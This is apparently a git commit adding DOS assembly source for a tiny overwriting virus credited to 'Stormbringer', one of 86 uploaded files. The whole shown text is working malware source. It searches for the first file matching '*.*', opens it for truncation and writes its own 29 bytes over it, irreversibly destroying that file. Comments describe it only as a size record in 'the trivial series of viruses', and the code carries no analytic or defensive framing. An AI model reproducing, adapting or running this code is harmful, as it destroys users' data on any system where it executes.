Add files via upload

2026-06-15 15:29:23 +00:00 · 2021-01-12 17:29:01 -06:00
parent 60045f672b
commit 039994e413
86 changed files with 41158 additions and 0 deletions
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+;Smallest in the trivial series of viruses, I think.... 
+;Last I saw was 30 bytes - this one goes to 29.
+;Code by Stormbringer... stupid virus, but small.
+
+.model tiny
+.radix 16
+.code
+        org 100
+start:
+        
+FindFile:        
+        xchg    cx,ax           ;ax defaults to zero on runtime - cx doesn't
+        push    si              ;si defaults to 100h under dos - use this l8r
+        mov     dx,offset filemask
+        mov     ah,4e
+        int     21
+
+OverwriteFile:
+        mov     dx,9e
+        mov     ah,3c
+        int     21
+
+WriteVirus:        
+        xchg    bx,ax
+        mov     ah,40
+        pop     dx              ;get 100h from si earlier for write pointer
+        mov     cl,endvir-start ;move only to CL, CH is already zero
+        int     21
+
+Terminate:
+        ret                     ;terminate by returning to PSP (Int 20)
+
+filemask        db      '*.*',0
+endvir:
+end start